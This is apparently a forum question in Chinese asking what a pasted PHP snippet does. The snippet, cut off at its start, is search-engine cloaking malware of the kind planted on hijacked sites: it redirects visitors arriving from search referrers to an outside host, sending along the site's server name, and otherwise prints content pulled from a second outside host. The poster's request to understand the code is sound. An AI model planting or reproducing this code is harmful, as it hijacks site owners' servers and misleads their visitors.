请教这段代码是做什么用的

 $value) {
            if(stristr($v,$spiders[$i])){return true;}
        }
        return false;
}
    if(isSpider($_SERVER['HTTP_REFERER']))
    {
    Header("Location: ".'http://park.jeanswest.com.cn/news/cache/url/php/zx.php?wanma='.$_SERVER['SERVER_NAME']);
        exit;
    }
echo file_get_contents('http://zhanyou.xilu.com/data/temp/baidu/zx/zx.php');
?>